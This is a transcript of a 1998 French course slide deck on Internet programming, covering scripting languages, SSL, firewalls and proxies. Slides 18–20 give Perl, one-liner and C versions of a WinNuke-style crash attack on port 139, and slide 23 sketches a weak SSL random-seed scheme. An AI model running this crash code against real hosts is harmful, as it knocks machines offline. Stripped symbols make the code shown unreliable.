Java Par L'exemple : Le serveur - PowerPoint PPT Presentation

About This Presentation
Title:

Java Par L'exemple : Le serveur

Description:

Programmation Internet et Intranet S. Fr not INSA Lyon 1998 stephf_at_lisiflory.insa-lyon.fr http://lisisun1/~sfrenot/cours/ – PowerPoint PPT presentation

Number of Views:123
Avg rating:3.0/5.0
Slides: 35
Provided by: LISI61
Category:

less

Transcript and Presenter's Notes

Title: Java Par L'exemple : Le serveur


1
Programmation Internetet Intranet
S. Frénot INSA Lyon 1998 stephf_at_lisiflory.insa-lyo
n.fr http//lisisun1/sfrenot/cours/
2
Déroulement du cours
  • Architecture Web de base
  • Architecture Web dynamique
  • Client / Serveur de données
  • Java
  • Architectures distribués
  • Les compléments

3
Les approches de PII
  • Modèle Initial
  • Approche documentaire HTML/HTTP, Internet
  • Avantage / Inconvénients
  • Modèle Avancé
  • Approche objets distribués Java/Corba,
    Intranet
  • Avantage / Inconvénients

4
Les langages de script
  • Langages de script
  • Interprété
  • Suivent la Loi de Moore
  • Objets distribués / Composants
  • Légers et modulaires
  • Portés sur de nombreux environnements
  • Client Script Documentaire
  • JavaScript, Python, Tcl/Tk
  • Visuel
  • Serveur Shell puissants
  • Perl, Tcl, Tk
  • Prototypage

5
Perl
  • TMTOWTDI "Tim-Toady"
  • 1 Simplifier les tâches faciles
  • 2 Ne pas empêcher les tâches difficiles
  • gt Larry Wall
  • Linguiste
  • Notion de langue et d'interprétation contextuelle
    et tardive
  • Nom, Verbe, Singulier et Pluriel

6
Perl
  • "Practical Extraction and Report Language"
  • Interprété
  • Modulaire
  • 446 Modules "use module"
  • Simple / Complexe
  • Efficace
  • Orienté
  • traitement de chaînes
  • Accès fichiers
  • Accès réseau

7
Perl Exemple
  • !/usr/local/bin/perl
  • print "Content-Typetext/html\n\nltHTMLgtltBODYgt"
  • open (NOTES, "notes") or die "Ouverture
    impossible !\n"
  • while (ligneltNOTESgt)
  • (etudiant, note) split(/ /, ligne)
  • chomp(note)
  • notesetudiant . note.' '
  • foreach etudiant (sort keys notes)
  • scores,note, total0
  • _at_notes split(/ /, notesetudiant)
  • foreach note(_at_notes)
  • totalnote
  • scores
  • moyenne total/scores
  • print "ltPREgtetudiant
    notesetudiant\tMoyenne moyenne\nltBRgt"
  • print "lt/bodygtlt/htmlgt"

8
Perl 5.004
  • Accès aux Bases de données
  • DBD, DBI gt ODBC
  • Accès aux Formulaires HTML
  • CGI.pm, HTML.pm
  • Accès aux variables systèmes de la machine
  • Porté sur Win32, Unix, MacIntosh
  • Communauté Internet
  • ftp//ftp.pasteur.fr/pub/Perl/

9
TCL/Tk
  • Tool Command Langage gt Shell de programmation
  • ToolKit gt Widgets de présentation
  • Toute architecture de programmation importante
    utilise deux classes de langage
  • un langage compilé, efficace pour l'algorithmie
    (cobol, c, c ...)
  • un autre, interprété, utilisé comme glue pour
    "piloter" et personnaliser les différentes
    fonctionnalités de l'application
  • gt John Ousterhout (Sun)

10
TCL
  • !/usr/local/bin/tclsh8.0
  • set envvars SERVER_SOFTWARE SERVER_NAME
  • GATEWAY_INTERFACE SERVER_PROTOCOL
  • SERVER_PORT REQUEST_METHOD
  • PATH_INFO PATH_TRANSLATED SCRIPT_NAME
  • QUERY_STRING REMOTE_HOST REMOTE_ADDR
  • REMOTE_USER AUTH_TYPE CONTENT_TYPE
  • CONTENT_LENGTH HTTP_ACCEPT HTTP_REFERER
  • HTTP_USER_AGENT
  • puts "Content-type text/html\n"
  • puts "ltHTMLgtltBODYgt"
  • puts"ltH1gtMessagelt/H1gtltPREgt"
  • puts "lt/PREgtltH1gtEnvironment Variableslt/H1gt"
  • foreach var envvars
  • if info exists env(var)
  • puts "ltDTgtvarltDDgtenv(var)"

if string compare env(REQUEST_METHOD)
"POST"0 set message split read stdin
env(CONTENT_LENGTH) else set message
split env(QUERY_STRING) foreach pair
message set name lindex split pair
0 set val lindex split pair 1 puts
"name\t val" puts "lt/BODYgtlt/HTMLgt"
11
Tk
  • Créer l'interface utilisateur en écrivant les
    scripts Tcl.
  • Hello, world
  • button .hello -text "Hello, world" -command exit
  • pack .hello
  • Explorateur Windows 30 lignes
  • Browser Web 2000 lignes
  • 10x moins de code pour des choses simples.

12
TCL / Tk
  • 1 Librairie de procédures C pour développeurs
  • L'interpréteur est pilotable en C
  • Tcl_Interp interp
  • interp Tcl_CreateInterp()
  • int code
  • codeTcl_Eval(interp, "set a 1")
  • codeTcl_EvalFile(interp, "init.tcl")
  • Créer une nouvelle commande Tcl
  • int EqCmd(ClientData clientData, Tcl_Interp
    interp, int argc, char argv)
  • if (argc ! 3)
  • interp-gtresult "wrong args"
  • return TCL_ERROR
  • if (!strcmp(argv1, argv2)) interp-gtresult
    "1"
  • else interp-gtresult "0"
  • return TCL_OK
  • L'enregistrer sur l'interpréteur
  • Tcl_CreateCommand(interp, "eq", EqCmd,
    (ClientData) NULL, ...)

13
TCL / Tk
  • Largement utilisé
  • Le plus puissant
  • Choisi comme langage de script de Java
  • Efficace
  • Tcl Plug-in, TCLBlend/Jacl, SpecTcl, TclHttpd,
    WebTk, Exmh
  • http//www.sunscript.com/

14
Python
  • Portable, interprété, orienté objet (ABC, C,
    Modula-3, Icon)
  • Facile à apprendre
  • Script CGI, Administration de systèmes,
    Prototypage
  • Indépendant de la plateforme Tk comme
    bibliothèque graphique, génère du byte-code
  • Multiniveaux Scripts shell, ou librairies oo
  • Extensible branchement sur les autres binaires
    (Microsoft FC, MacOS ToolBox)
  • Imbriquable Script gt HTML, BD, Environnement
  • gt Just et Guido van Rossum (CNRI Corporation
    for National Research Institute)

15
Python exemple
!/usr/local/lib/python import time JOUR
243600 class Date def __init__(self,
date) self.datedate def __repr__(self) st
ime.ctime(self.date) return s11s-4 def
demain(self) return self1 def hier(self)
return self -1 def __add__(self,
nbjours) return Date (self.datenbjoursJOUR)
__radd_____add__ def __sub__(self,
autre) if hasattr(autre, 'date')
return int (self.date/JOUR) - int(other.date/JOUR)
else return self.__add__(-other) aujourdh
uiDate(time.time( )) print aujourdhui.demain(
)-ajourdhui.hier( )
  • !/usr/local/lib/python
  • import posix
  • import string
  • uidposix.getuid()
  • passwdopen('/etc/passwd')
  • for line in passwd.readline()
  • recstring.splitfields(line, '')
  • if rec2 uid
  • print 'bonjour', rec0
  • break
  • else
  • print 'Non trouve'

16
Python
  • http//www.python.org
  • modules
  • chaines, Expression Régulières, posix, sockets,
    threads, multimédia, cryptographie, STDWIN,
    Internet/WWW
  • Utilisé pour l'interface utilisateur de Linux
    RedHat 5
  • Exemple utilisé pour les tags OBJECT d'HTML 4

17
Disponibilité des langages
  • Vitesse de développement gt Economie
  • Utiliser les bons outils
  • Marché en expansion
  • Se faire plaisir

18
Exemple
  • !/opt/bin/perl
  • use strict
  • use Socket
  • h "ARGV0"
  • p 139 if (!ARGV1)
  • if (!h) print "Un nom de machine doit être
    fournit. Ex www.microsoft.com\n"
  • in_addr (gethostbyname(h))4
  • addr sockaddr_in(p,in_addr)
  • proto getprotobyname('tcp')
  • print "Adresse viséein_addr addr addr proto
    proto\n"
  • socket(S, AF_INET, SOCK_STREAM, proto) die
    !
  • connect(S,addr) or die !
  • 1
  • print STDOUT "Nuking hp\n"
  • send S,"Au revoir",MSG_OOB
  • print STDOUT "Nuked!\n"
  • close S STDOUT

perl -MIOSocket -e 'IOSocketINET-gt new(Pee
rAddrgt"some.windoze.box")-gt send("bye",MSG_OOB
)'
19
Equivalent C
int open_sock(int sock, char server, int port)
struct sockaddr_in blah struct
hostent he bzero((char )blah,sizeof(blah)
) blah.sin_familyAF_INET
blah.sin_addr.s_addrinet_addr(server)
blah.sin_porthtons(port) if ((he
gethostbyname(server)) ! NULL)
bcopy(he-gth_addr, (char )blah.sin_addr,
he-gth_length) else if
((blah.sin_addr.s_addr inet_addr(server)) lt 0)
perror("gethostbyname()")
return(-3) if
(connect(sock,(struct sockaddr )blah,16)-1)
perror("connect()")
close(sock) return(-4)
printf("Connected to sd.\n",server,port)
return
  • include ltstdio.hgt
  • include ltstring.hgt
  • include ltnetdb.hgt
  • include ltnetinet/in.hgt
  • include ltsys/types.hgt
  • include ltsys/socket.hgt
  • include ltunistd.hgt
  • define dport 139
  • int x, s
  • char str "Bye"
  • struct sockaddr_in addr, spoofedaddr
  • struct hostent host

20
Equivalent C Suite
  • void main(int argc, char argv) if (argc
    ! 2)
  • printf("Usage s lttargetgt\n",argv0)
  • exit(0)
  • if ((s socket(AF_INET, SOCK_STREAM,
    IPPROTO_TCP)) -1)
  • perror("socket()")
  • exit(-1)
  • open_sock(s,argv1,dport)
  • printf("Sending crash... ")
  • send(s,str,strlen(str),MSG_OOB)
  • usleep(100000)
  • printf("Done!\n")
  • close(s)

21
Compléments
22
Cryptage SSL (HTTPS)
  • Encodage sur une clé unique connue du client et
    du serveur
  • Le client génère aléatoirement un nombre
  • Puis le transfère de manière cryptée au serveur
  • Celui-ci encode les messages à l'aide de ce
    nombre
  • gt mais ...

23
Crack !
  • global variable racine
  • RNG_CreeContexte( )
  • (secondes, microsecondes) maintenant!
  • pidprocess ID ppid parent process ID
  • amklcpr(microsecondes)
  • bmklcpr(pidseconds(ppidltlt12))
  • racineMD5(a,b)
  • mklcpr(x)
  • return ((0xDEECE66D x
  • 0x2BBB62DC) gtgt 1)
  • MD5()

RNG_GenereNombreAleatoire( ) xMD5(seed) seed
seed1 return x global variable debut,
clé_secrete Creer_cle ( ) RNG_CreeContexte(
) tmp RNG_GenereNombreAleatoire()
tmp RNG_GenereNombreAleatoire() debut
RNG_GenereNombreAleatoire()
clé_secreteRNG_GenereNombreAleatoire()
24
FireWall
  • FireWall Pare-Feu
  • Filtrage des paquets
  • Table de filtrage des ports de connexion
  • Inbound HTTP www.interne.com
  • Outbound HTTP www.externe.com
  • Inbound telnet telnet.interne.com
  • Sinon interdit
  • Tunneling Protocol
  • Encodage d'une session
  • Reseaux privés virtuels

25
Proxy
  • Cache des documents transférés
  • Cache mémoire sur le client
  • Cache disque sur le client
  • Serveur Cache local
  • Serveurs Cache nationaux
  • Fonctions
  • Disponibilité,
  • Maintenabilité
  • Pre-caching
  • Baisse de la charge
  • Difficulté ?

26
Serveur Proxy
  • proxy.univ-lyon1.fr 3128
  • function FindProxyForURL(url, host)
  • if (isPlainHostName(host)) return "DIRECT"
  • if ( dnsDomainIs( host,"univ-lyon1.fr")
  • dnsDomainIs(host,"cpe.fr")
  • dnsDomainIs(host,"enssib.fr")
  • dnsDomainIs(host,"cermep.fr")
  • dnsDomainIs(host,"dr7.cnrs.fr")
  • dnsDomainIs(host,"www.dsi.cnrs.fr")
  • dnsDomainIs(host,"insa-lyon.fr"))
  • return "DIRECT"
  • if (url.substring(0, 5) "http"
    url.substring(0, 7) "gopher")
  • return "PROXY proxy.univ-lyon1.fr3128
    DIRECT"
  • if (url.substring(0, 5) "wais") return
    "PROXY web.univ-lyon2.fr8001"
  • else return "DIRECT"

27
Push
  • Anticiper la demande de l'utilisateur
  • gt Lui fournir l'information avant qu'il ne la
    cherche
  • gt Retourner le modèle du Web
  • gt L'utilisateur négocie une politique de push
  • gt Notion de canaux de diffusion

28
Push
  • Approche diffusion Commerciale
  • Diffusion de canaux d'information
  • BackWeb Personnalisation et Segmentation,
    infopacks
  • Pointcast (1996) Pionnier, émetteur unique !
  • Approche diffusion Logiciel
  • Marimba Société (JavaFund)
  • Castanet Emetteur, Tuner, Proxy, GateWay
  • gt Technologies PUSH Bonnet, Macary, Eyrolles
    Informatiques

29
Faiblesses de HTML
  • Pas de gestion des hyperliens
  • Pas de contrôle de la syntaxe
  • Pas d'extensibilité possible
  • Pas de structures
  • Pas de distinction sur (forme/fond)
  • Pas de support d'internationalisation
  • Pas de support pour l'échange de données
  • Pas de réutilisation
  • Contenu dynamique
  • Orientation Objet

30
Langage de documents DHTML
  • Scripts Feuilles de styles (JavaScriptCSS)
  • Approche OO d'un document
  • Fondé sur le DOM (Document Object Model) du W3C
  • Programmation plus souple
  • Incompatibilité Microsoft/Netscape
  • gt HTML

31
Meta-Langage de document XML
  • eXtensible Markup Langage
  • Représenter n'importe quel document avec des tags
    logiques
  • Langage de programmation DSSSL
  • Lisp (Scheme)
  • Documents Bien Formés
  • DTD du document
  • gt SGML --
  • gt Jim Clark SP Parser, Jade ...

32
Architectures
33
Evolution du Web
34
Anneaux de diffussion
  • Interconnexion de sites Web
  • Mettre en commun des utilisateurs sur un sujet
  • Définir des sous-réseau logiques d'information
  • Site central qui diffuse les entêtes des
    documents
  • Diffusion aux abonnés d'un cgi à insérer dans les
    documents
  • gt PilotGear
Write a Comment
User Comments (0)
About PowerShow.com